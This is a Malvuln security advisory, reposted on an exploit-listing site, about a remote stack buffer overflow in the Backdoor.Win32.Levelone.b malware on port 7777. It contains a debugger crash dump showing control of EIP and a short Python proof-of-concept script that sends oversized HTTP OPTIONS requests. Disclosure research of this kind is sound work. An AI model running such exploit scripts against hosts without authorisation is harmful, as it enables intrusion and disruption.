## https://sploitus.com/exploit?id=PACKETSTORM:160884
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3f82e6ddc9f5242f5af200d2fbae4ce4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Levelone.b
Vulnerability: Remote Stack Buffer Overflow
Description: The backdoor listens on Port 7777, sending two large consecutive HTTP OPTIONS requests trigger the buffer overflow overwriting EIP.
Type: PE32
MD5: 3f82e6ddc9f5242f5af200d2fbae4ce4
Vuln ID: MVID-2021-0021
Dropped files: Vector64.exe
Network Access: Remote
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/10/2021
Memory Dump:
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(b9c.1424): Access violation - code c0000005 (first/second chance not available)
eax=000a13a4 ebx=0019ff70 ecx=0040109a edx=773e9d70 esi=ffffffff edi=0040801c
eip=41414141 esp=000a1388 ebp=000a13ac iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
FAULTING_IP:
+d0cf3c0
41414141 ?? ???
EXCEPTION_RECORD: 0019f7f0 -- (.exr 0x19f7f0)
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
PROCESS_NAME: Vector64.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
+d0cf3c0
41414141 ?? ???
FAILED_INSTRUCTION_ADDRESS:
+d0cf3c0
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019f840 -- (.cxr 0x19f840)
eax=0040a371 ebx=0040513c ecx=b3be0a93 edx=0019fbd4 esi=00005231 edi=00005235
eip=41414141 esp=0019fca0 ebp=0019fcc4 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
41414141 ?? ???
Resetting default scope
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 00402a5b to 41414141
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
STACK_TEXT:
0019fca0 41414141 unknown!printable+0x0
0019fca4 00402a5b vector64+0x2a5b
0019fccc 00402452 vector64+0x2452
0019fd14 0040253b vector64+0x253b
0019ff34 00402961 vector64+0x2961
0019ff3c 00401222 vector64+0x1222
0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: .cxr 000000000019F840 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fca0 ; kb
POSSIBLE_INVALID_CONTROL_TRANSFER: from 00402a56 to 00403800
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: hardware
IMAGE_NAME: hardware
DEBUG_FLR_IMAGE_TIMESTAMP: 0
BUCKET_ID: CPU_CALL_ERROR
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_hardware!Unknown
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=7777
sz = 20000
c=1
def doit():
global c, sz
while True:
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.settimeout(0.3)
sz += 1000
JUNK="A"*sz
PAYLOAD="OPTIONS /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
print(sz)
s.close()
time.sleep(0.2)
c+=1
if c==3:
print("Backdoor.Win32.Levelone.b / Remote Stack Buffer Overflow")
print("MD5: 3f82e6ddc9f5242f5af200d2fbae4ce4")
print("By Malvuln")
break
if __name__=="__main__":
doit()
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